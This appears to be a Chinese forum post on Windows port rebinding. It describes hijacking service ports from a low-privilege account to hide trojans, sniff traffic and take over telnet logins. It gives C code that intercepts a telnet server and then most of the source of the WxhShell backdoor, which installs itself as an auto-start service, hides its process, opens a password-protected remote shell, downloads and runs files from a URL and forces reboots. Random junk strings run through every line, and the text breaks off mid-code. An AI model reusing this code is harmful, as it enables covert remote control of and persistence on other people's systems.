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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *U69rbYI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |#6))Dh  
$<N!2[I L  
  saddr.sin_family = AF_INET; _jr'A-M  
^Td_B03)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a~nErB  
#=* y7w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ILQB%0!  
D+"-(k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  T.{sO`  
u^!c:RfE?  
  这意味着什么?意味着可以进行如下的攻击: 861!p%y5  
[c=T)]E1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rIg5Wcd  
@h&crI[c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Xob,jo}a  
}#h>*+Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q5:8$ C}+  
/>,Tq!i\4}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O5:2B\B  
2UF ,W]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }j. [h;C6  
#~Z55 D_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !y{t}|U/d  
D'! v9}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ue;o:>G  
m.K@g1G  
  #include apxY2oE&  
  #include =]auP{AlE  
  #include >P/Nb]C  
  #include    (p FPuV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ."#M X!  
  int main() ,py:e>+^t  
  { O0Vtvbj  
  WORD wVersionRequested; _FRwaFVJ3  
  DWORD ret; t'{\S_  
  WSADATA wsaData; foOwJ}JU  
  BOOL val; DG!H8^  
  SOCKADDR_IN saddr; g,0u_$U  
  SOCKADDR_IN scaddr; A"`^A brm  
  int err; |QI FtdU5T  
  SOCKET s; aj71oki)  
  SOCKET sc; wf= s-C  
  int caddsize; ^^-uq)A  
  HANDLE mt; y ;$8C  
  DWORD tid;   'K9{xI@N  
  wVersionRequested = MAKEWORD( 2, 2 ); ZM~kc|&  
  err = WSAStartup( wVersionRequested, &wsaData ); PU6Sa-fQ2,  
  if ( err != 0 ) { yl=_ /'*  
  printf("error!WSAStartup failed!\n"); UY!N"[&  
  return -1; E_[)z%&n2  
  } F;Lg w^1!  
  saddr.sin_family = AF_INET; 1gTW*vLM\  
   ,>^6ztM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aNLkkkJg<;  
D_HE!fl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ia!b0*<   
  saddr.sin_port = htons(23); /_`f b)f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q^iE,_Zq  
  { */|Vyp-  
  printf("error!socket failed!\n"); dHtbl\6  
  return -1; kYVn4Wq  
  } soH M5<U  
  val = TRUE; Eep*,Cnt0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 eoC@b/F4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #ZPU.NNT?  
  { pnvHh0ck_  
  printf("error!setsockopt failed!\n"); )<kI d4E  
  return -1; ;-OnCLr  
  } @LzqQ [  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,.cNs5 [t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WP@IV;i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4|Wg lri  
H.D1|sU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9 NO^ '  
  { !w!}`|q  
  ret=GetLastError(); qOusO6  
  printf("error!bind failed!\n"); 7q'_]$  
  return -1; >z`^Q[  
  } _msV3JBr  
  listen(s,2); oj6b33z  
  while(1) _m  *8f\  
  { >~g(acH%`x  
  caddsize = sizeof(scaddr); L+c7.l.yT  
  //接受连接请求 &!y7PWHJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~1NK@=7T  
  if(sc!=INVALID_SOCKET) 2 f" =f^rf  
  { }w#Ek=,s#o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9'qU4I  
  if(mt==NULL) Y SvZ7G(m>  
  { q\B048~KK  
  printf("Thread Creat Failed!\n"); [Ipg",Su;f  
  break; r@2{>j8  
  } jWg7RuN  
  } }SdI _sLe  
  CloseHandle(mt); {EoRY/]  
  } #q06K2  
  closesocket(s); uA} w?;  
  WSACleanup(); 7# /c7   
  return 0; jL|y4  
  }   ?HP54G<{xz  
  DWORD WINAPI ClientThread(LPVOID lpParam) &?],uHB?d  
  { $/*6tsR  
  SOCKET ss = (SOCKET)lpParam; Tr^Egw]  
  SOCKET sc; rcC}4mNe  
  unsigned char buf[4096]; nTJ-1A7EP  
  SOCKADDR_IN saddr; 3 e19l!B  
  long num; uG|d7LS,%  
  DWORD val; ,+u.FQv~  
  DWORD ret; acSm+t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _?vh#6F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "!9hcv- ;  
  saddr.sin_family = AF_INET; Gj~1eS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B]`!L/  
  saddr.sin_port = htons(23); 'THcO*<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X"hoDg  
  { sG/mmZHYzr  
  printf("error!socket failed!\n"); 9(9+h]h+3  
  return -1; g1je':  
  } COE,pb17  
  val = 100; +s*OZ6i [  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MWsjkI`  
  { WcCJ;z:S?k  
  ret = GetLastError(); !n=?H1@  
  return -1; >|)ia5#  
  } K/2k/\Jk[_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d6$,iw@>^  
  { 6,ZfC<)  
  ret = GetLastError(); M~0A-*N  
  return -1; }@6/sg  
  } `A]CdgA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %uuh+@/&yz  
  { )JO#Z(  
  printf("error!socket connect failed!\n"); -xJ_5  
  closesocket(sc); KtT.WHr(m  
  closesocket(ss); (RDY-~#~  
  return -1; B8jSdlvz  
  } N=>6PLie  
  while(1) n21Pfig  
  { s`j QX\{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [j6EzMN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4Y):d!'b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yGNZw7^(  
  num = recv(ss,buf,4096,0); uCc.dluU  
  if(num>0) ;XJK*QDN  
  send(sc,buf,num,0); r'kUU] j9  
  else if(num==0) 5E~?hWAv  
  break; Dq#/Uw#  
  num = recv(sc,buf,4096,0); sr0.4VU1  
  if(num>0) SIJ:[=5!7  
  send(ss,buf,num,0); IL:d`Kbqf  
  else if(num==0) xiu?BP?V  
  break; b`NXe7A  
  } jV(\]g"/=  
  closesocket(ss); >&@hm4  
  closesocket(sc); `1cGb*b/  
  return 0 ; p2c4 <f-M  
  } Q?f%]uGFQ  
}(g`l)OX  
1g_(xwUp+  
========================================================== 6sRe. ct<  
wq|~[+y  
下边附上一个代码,,WXhSHELL RL|13CG OP  
O*hd@2hd  
========================================================== xvZNshkpAX  
dQoZh E  
#include "stdafx.h" Uoskfm  
D;f[7Cac  
#include <stdio.h> g/)$-Z)Nu  
#include <string.h> jlmP1b9  
#include <windows.h> HT]v S}s  
#include <winsock2.h> L53qQej<  
#include <winsvc.h> %X)i-^T  
#include <urlmon.h> ~s}0z&v^te  
b-/ztZ@u  
#pragma comment (lib, "Ws2_32.lib") *WSH-*0  
#pragma comment (lib, "urlmon.lib") 4=j,:q  
Fq{Z-yVp  
#define MAX_USER   100 // 最大客户端连接数 j3Ng] @N  
#define BUF_SOCK   200 // sock buffer  #RE  
#define KEY_BUFF   255 // 输入 buffer V#j|_N1hm  
f@ &?K<  
#define REBOOT     0   // 重启 Rw]4/  
#define SHUTDOWN   1   // 关机 4_CV.?  
h)%}O.ueB  
#define DEF_PORT   5000 // 监听端口 Wvhg:vup  
}uI(D&?+h  
#define REG_LEN     16   // 注册表键长度 x^UE4$oo  
#define SVC_LEN     80   // NT服务名长度 E$$pO.\  
4$~]t:n  
// 从dll定义API RwH<JaL:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |{#=#3X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?e? mg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hx}K w S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -qki^!Y?  
dx=\Pq  
// wxhshell配置信息 ya81z4?  
struct WSCFG { 1B;-ea  
  int ws_port;         // 监听端口 sZ,MNF8i  
  char ws_passstr[REG_LEN]; // 口令 _n.2'  
  int ws_autoins;       // 安装标记, 1=yes 0=no LPjsR=xi  
  char ws_regname[REG_LEN]; // 注册表键名 _1z|QC  
  char ws_svcname[REG_LEN]; // 服务名 4dDDi,)U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F^5<o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u3!aKXnv<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^y.e Fz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S.;>:Dd[K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9m2_zfO[ w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xy@1E;  
n@LR?  
}; K^V*JH\G  
~Rzn =>a  
// default Wxhshell configuration *>Z|!{bI  
struct WSCFG wscfg={DEF_PORT, t 6.hg3Y  
    "xuhuanlingzhe", m){.{Vn]  
    1, \bt+46y@]  
    "Wxhshell", `={s*^Ta  
    "Wxhshell", zNE"5  
            "WxhShell Service", ,&S ^Ryc  
    "Wrsky Windows CmdShell Service", U @Il:\I  
    "Please Input Your Password: ", ;4jRsirx9  
  1, Mr}]P(4h  
  "http://www.wrsky.com/wxhshell.exe", %21i#R`E  
  "Wxhshell.exe" =-M)2&~L~  
    }; nZF(92v  
9N9dQ}[:g  
// 消息定义模块 \NYtxGV[Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #;bpxz1lR9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B;M{v5s~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 39;Z+s";  
char *msg_ws_ext="\n\rExit."; =*q|568  
char *msg_ws_end="\n\rQuit."; Te%'9-jk  
char *msg_ws_boot="\n\rReboot..."; K)2ZH@  
char *msg_ws_poff="\n\rShutdown..."; :@PM+[B|Q  
char *msg_ws_down="\n\rSave to "; {}?;|&_  
a8T<f/qW k  
char *msg_ws_err="\n\rErr!"; (fgX!G[W  
char *msg_ws_ok="\n\rOK!"; O?uT'$GT  
)z0qKb \  
char ExeFile[MAX_PATH]; Bp3%*va  
int nUser = 0; /K mzi9j+  
HANDLE handles[MAX_USER]; (wmMHo|  
int OsIsNt; d*26;5~\  
M\wIpRD,  
SERVICE_STATUS       serviceStatus; im&E \`L7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S~1>q+<Q  
eSZS`(#!(  
// 函数声明 B;'Dh<J1  
int Install(void); &tFVW[(  
int Uninstall(void); *|n::9  
int DownloadFile(char *sURL, SOCKET wsh); { 7y.0_Y  
int Boot(int flag); [/#c9RA  
void HideProc(void); GyV3]Qqj  
int GetOsVer(void); !F0MLvdX7^  
int Wxhshell(SOCKET wsl); g-=)RIwm  
void TalkWithClient(void *cs); :$&%Pxm  
int CmdShell(SOCKET sock); $tyF(RybG  
int StartFromService(void); +w Oa  
int StartWxhshell(LPSTR lpCmdLine); ,63hO.4M  
t&UPU&tY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I xT[1$e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ; Xy\7tx  
73/kyu-0%  
// 数据结构和表定义 Q)\7(n  
SERVICE_TABLE_ENTRY DispatchTable[] = -Iz&/u*}f  
{ U;n$  
{wscfg.ws_svcname, NTServiceMain}, 7%Zl^c>q  
{NULL, NULL} T>(nc"(  
}; .I{b]6  
DG8LoWZ  
// 自我安装 >;',U<Wd  
int Install(void) $AAv%v  
{ ?2VY ^7N[  
  char svExeFile[MAX_PATH]; i^9PiP|U  
  HKEY key; v}hmI']yf  
  strcpy(svExeFile,ExeFile); (yFR;5Fo  
PMk3b3)Z  
// 如果是win9x系统,修改注册表设为自启动 ^5TSo&qZ  
if(!OsIsNt) { v\*43RL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jsS xjf;O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qr%9S dvx  
  RegCloseKey(key); )r v5QH`i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7<[p1C*B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o+W5xHe^1  
  RegCloseKey(key); ]=p@1  
  return 0; 16MRLDhnD  
    } *loPwV8  
  } 2= X2M  
} -ea>}S  
else { -SaH_Nuj  
=whZ?,u1   
// 如果是NT以上系统,安装为系统服务 jw$3cwddH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4C^;lK  
if (schSCManager!=0) ._m+@Uy]H}  
{ O=}4?Xv  
  SC_HANDLE schService = CreateService '~i} 2e.  
  ( C=ni5R  
  schSCManager, ua1ov7w$]  
  wscfg.ws_svcname, mLU4RQ}5  
  wscfg.ws_svcdisp, @cPb*  
  SERVICE_ALL_ACCESS, f3e#.jan  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U0'>(FP~2  
  SERVICE_AUTO_START, U@+ @Mc  
  SERVICE_ERROR_NORMAL, uR{HCZ-  
  svExeFile, \1'3--n  
  NULL, (OT /o&cQ  
  NULL, ~<Z;)e  
  NULL, &P&LjHFK  
  NULL, LRBcW;.Su  
  NULL 7QP%Pny%  
  ); x[7jm"Pz  
  if (schService!=0) 8DbXv~3@  
  { edhNQWn  
  CloseServiceHandle(schService); `e]L.P_e?  
  CloseServiceHandle(schSCManager); *,hS-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  t4pc2b  
  strcat(svExeFile,wscfg.ws_svcname); _ngyai1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?)x>GB(9ZN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !YL|R[nDH|  
  RegCloseKey(key); ([zt}uf  
  return 0; DGr{x}Kq  
    } \B"5 Kp<  
  } Z<ozANbk  
  CloseServiceHandle(schSCManager); 6V\YYrUz  
} S(](C  
} $5y%\A  
T1hr5V<U  
return 1; ~U`oew  
} B" TZ8(<  
Z8nj9X$   
// 自我卸载 \]}|m<R  
int Uninstall(void) 1a 3rA  
{ T6JN@:8  
  HKEY key; f>ohu^bd  
Zws[}G"7h  
if(!OsIsNt) { Z`nHpmNM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5R}Qp<D[^  
  RegDeleteValue(key,wscfg.ws_regname); -4`Wkkhu  
  RegCloseKey(key); VO3&!uOd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kA?a}   
  RegDeleteValue(key,wscfg.ws_regname); Yu-e |:  
  RegCloseKey(key); #+HLb  
  return 0; w\k|^  
  } C J S  
} )ALPMmlRs  
} M>dP 1  
else { IRNL(9H  
|WH'aGG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QlJ cj+_h  
if (schSCManager!=0) ,<F=\G_f  
{ &=H{ 36i@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %"PG/avo  
  if (schService!=0) s42M[BW]  
  { .GUm3b  
  if(DeleteService(schService)!=0) { D'Tb=  
  CloseServiceHandle(schService); $9<q'hf<w  
  CloseServiceHandle(schSCManager); q\ FF)H  
  return 0; ES!$JWK|  
  } / PG+ s6  
  CloseServiceHandle(schService); =3OK 3|  
  } km2('t7?  
  CloseServiceHandle(schSCManager); ;LE4U OK  
} } r$&"wYM  
} }]_/:KUt  
aAZS^S4v  
return 1; r=P)iE:  
} l T~RH0L  
r2}u\U4>  
// 从指定url下载文件 ^I03PIy0l  
int DownloadFile(char *sURL, SOCKET wsh) 9Z]~c^UB  
{ o&P}GcEIw  
  HRESULT hr; $&/JY  
char seps[]= "/"; sm5\> L3V  
char *token; Y-\hV6v6  
char *file; &Oc^LV$6  
char myURL[MAX_PATH]; ]|62l+  
char myFILE[MAX_PATH]; G'IqAKJ  
[G2@[Ct Y1  
strcpy(myURL,sURL); S[,!  
  token=strtok(myURL,seps); z(2pl}  
  while(token!=NULL) <+UEM~)  
  { 4Gs#_|!  
    file=token; yQE|FbiA  
  token=strtok(NULL,seps); eznt "Rr2  
  } 3~Od2nk(x  
uc!j`G*]  
GetCurrentDirectory(MAX_PATH,myFILE); S9R(;  
strcat(myFILE, "\\"); fe PH=C  
strcat(myFILE, file); .?R~!K{`  
  send(wsh,myFILE,strlen(myFILE),0); iSu7K&X9q  
send(wsh,"...",3,0); w>Iw&US  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -SZXUN  
  if(hr==S_OK) ,?k[<C  
return 0; 7S$Am84%  
else 51j5AbFQ"  
return 1; Ix@rn  
>QO^h<.>  
} nVkx Q?2  
X{4jyi-<  
// 系统电源模块 C(zgBk  
int Boot(int flag) |f), dC  
{ |U{9Yy6p  
  HANDLE hToken; F: %-x=q  
  TOKEN_PRIVILEGES tkp; ly"Jl8/<  
pgbm2mT9  
  if(OsIsNt) { 4?Pdld  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FJ0Ity4u6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gU\pP,a  
    tkp.PrivilegeCount = 1; CXt9 5O?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -&4>>h9 _  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (5- w>(  
if(flag==REBOOT) { 68Po`_/s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O b'B?  
  return 0; ]-[M&i=+&  
} |,3s]b`  
else { M)S(:Il6Xx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x|4m*>Ke  
  return 0; 0_'(w;!wq:  
} `roos<F1D  
  } < kyT{[e+6  
  else { Zjqa n  
if(flag==REBOOT) { )!6JSMS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <T]%Gg8  
  return 0; },58B  
} 0K/Pth"*  
else { S_; 5mb+b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k(LZ,WSR  
  return 0; HJ#3wk"W  
} ,/0Q($oz  
} rR`'l=,t  
\kSoDY`l&  
return 1; GL;@heP  
} y/=:F=H@w  
:})(@.H  
// win9x进程隐藏模块 Z] ?Tx2|7  
void HideProc(void) N(i%Oxp1  
{ .Zo%6[X  
\:]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^u'hl$`^  
  if ( hKernel != NULL ) "XPBNv\>_  
  { ,b[}22  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $!Z><&^/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l{b<rUh5W  
    FreeLibrary(hKernel); s18o,Zs'  
  } lGrp^  
fH#yJd2?f  
return; :QKxpHi  
} t~5m[C[`w  
+m?;,JGt  
// 获取操作系统版本 & \<!{Y<'  
int GetOsVer(void) MJ5Ymt a  
{ FY;\1bt<<  
  OSVERSIONINFO winfo; MTBHFjXO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,TeJx+z^  
  GetVersionEx(&winfo); )Ve-)rZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #,dNhUV#  
  return 1; ?%RAX CK  
  else be&5vl  
  return 0; vTnrSNdSE  
} (Hk4~v6pqC  
% mP%W<  
// 客户端句柄模块 U'(Exr[  
int Wxhshell(SOCKET wsl) L{`S^'P<  
{ 5mzOr4*0  
  SOCKET wsh; &UzeNL"]  
  struct sockaddr_in client; =BD}+(3  
  DWORD myID; %=p:\+`VI  
s P=$>@3  
  while(nUser<MAX_USER) b"D? @dGB,  
{ tG8)!  
  int nSize=sizeof(client); Ah^0FU%!g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ed3d 6/%HR  
  if(wsh==INVALID_SOCKET) return 1; ~ZrSoVP=  
LV4\zd6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k+-IuO  
if(handles[nUser]==0) 5ggmS<=  
  closesocket(wsh); fZQL!j4  
else q/T(s  
  nUser++; ` =ocr8c  
  } v[$-)vs*ag  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C]@v60I  
Zl,c+/  
  return 0; 'Cki"4%<  
} IZ){xI  
@8keLrp  
// 关闭 socket ku2g FO  
void CloseIt(SOCKET wsh) yf|,/{S  
{ !Cqm=q{K  
closesocket(wsh); Wp2W:JX:  
nUser--; @|I:A  
ExitThread(0); R$>]7-N}  
} K6uZ4 m;  
0[A4k:  
// 客户端请求句柄 {;:QY 1Q T  
void TalkWithClient(void *cs) 48}L!m @  
{ cb36~{  
ZD$W>'m{F  
  SOCKET wsh=(SOCKET)cs; XOOWrK7O  
  char pwd[SVC_LEN]; NxOiT#YH  
  char cmd[KEY_BUFF]; euxkw]`h6  
char chr[1]; hbZ]DRg  
int i,j; Qu 7#^%=  
)gX7qQ  
  while (nUser < MAX_USER) { z@70{*  
0^%\! Xxq  
if(wscfg.ws_passstr) { 3K{XT),  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A%Ov.~&\G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =J@M, mbHg  
  //ZeroMemory(pwd,KEY_BUFF); bIvF5d>9#K  
      i=0;  (~59}lu~  
  while(i<SVC_LEN) { :S['hBMN  
ioIOyj  
  // 设置超时 Drn{ucIs  
  fd_set FdRead; Kmk}Yz  
  struct timeval TimeOut; Z`_`^ \"  
  FD_ZERO(&FdRead); 8}B*a;d  
  FD_SET(wsh,&FdRead); Cx N]fo  
  TimeOut.tv_sec=8; G,jv Mb`+  
  TimeOut.tv_usec=0; w)Rtt 9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |_<'q h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d3nx"=Cy0I  
t=-t xnlr<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nqp:nw  
  pwd=chr[0]; /mdPYV  
  if(chr[0]==0xd || chr[0]==0xa) { jCJbmEfo9@  
  pwd=0; <5 Ye')+  
  break; os :/-A_m  
  } ]^f7s36  
  i++; 8|-j]   
    } oK-T@ &-  
S%NS7$`a  
  // 如果是非法用户,关闭 socket jruXl>T!U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6[b?ckvi  
} YN=dLr([<  
SH oov  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); su?{Cj6*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 96V@+I  
ym\AVRO{  
while(1) { E1 | >O  
5g x9W\a ?  
  ZeroMemory(cmd,KEY_BUFF); 98c##NV(7|  
P M x`P B  
      // 自动支持客户端 telnet标准   d65fkz==A)  
  j=0; S_Tv Ix/7&  
  while(j<KEY_BUFF) { X2RM*y|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /0S2Om h  
  cmd[j]=chr[0]; v?BVUH>#9  
  if(chr[0]==0xa || chr[0]==0xd) { J 8!D."'Q0  
  cmd[j]=0; zRO-oOJ  
  break; \(4"kY_=  
  } Dw%V.J/&o  
  j++; ]"ZL<?3g  
    } .o27uB.  
'}nH\?(  
  // 下载文件 |"K<   
  if(strstr(cmd,"http://")) { *Ce8( "v,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1v<,nABuJ6  
  if(DownloadFile(cmd,wsh)) @yGK $<R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AZj `o  
  else ZWtlOP#]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /w!!jj^  
  } 8fG$><@  
  else { bqo+ b{i\  
.=~-sj@k  
    switch(cmd[0]) { F!>92H~3G  
  gI~4A,  
  // 帮助 AQUl:0!  
  case '?': { "8.to=Lx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _f"HUKGN  
    break; /~8<;N>,+  
  } %^`b)   
  // 安装 : ~R Y  
  case 'i': { P"Scs$NOU?  
    if(Install()) jX9{Ki"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9T9TQ-O  
    else C >@T+xOZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1X ?9Ji)h  
    break; m'!smS x8  
    } *mvDh9v  
  // 卸载 ;0Vyim)S]  
  case 'r': { rXIFCt8J  
    if(Uninstall()) k=nN#SMn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Sik~Mm_h  
    else y ~PW_,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3d1$w  
    break; @4O;dFOQ)  
    } ZaNZUVBh  
  // 显示 wxhshell 所在路径 kVqRl%/3Tb  
  case 'p': { f;PPB@ :`$  
    char svExeFile[MAX_PATH]; ~.:9~(2;  
    strcpy(svExeFile,"\n\r"); b}f#[* Z  
      strcat(svExeFile,ExeFile); j O-H 1@;  
        send(wsh,svExeFile,strlen(svExeFile),0); J~e%EjN5e  
    break; T#o?@ ;  
    } o+w G6 9  
  // 重启 '\,|B x8Q  
  case 'b': { ?k 4|;DD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (t.OqgY  
    if(Boot(REBOOT)) qe/|u3I<lF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[+cNJ|$B0  
    else { A89n^@  
    closesocket(wsh); ]* #k|>Fl  
    ExitThread(0); Np.] W(  
    } ORc20NFy7  
    break; v^;p]_c~2  
    } T?DX|?2X  
  // 关机 }k{h^!fV  
  case 'd': { 8E/wUN,Lxj  
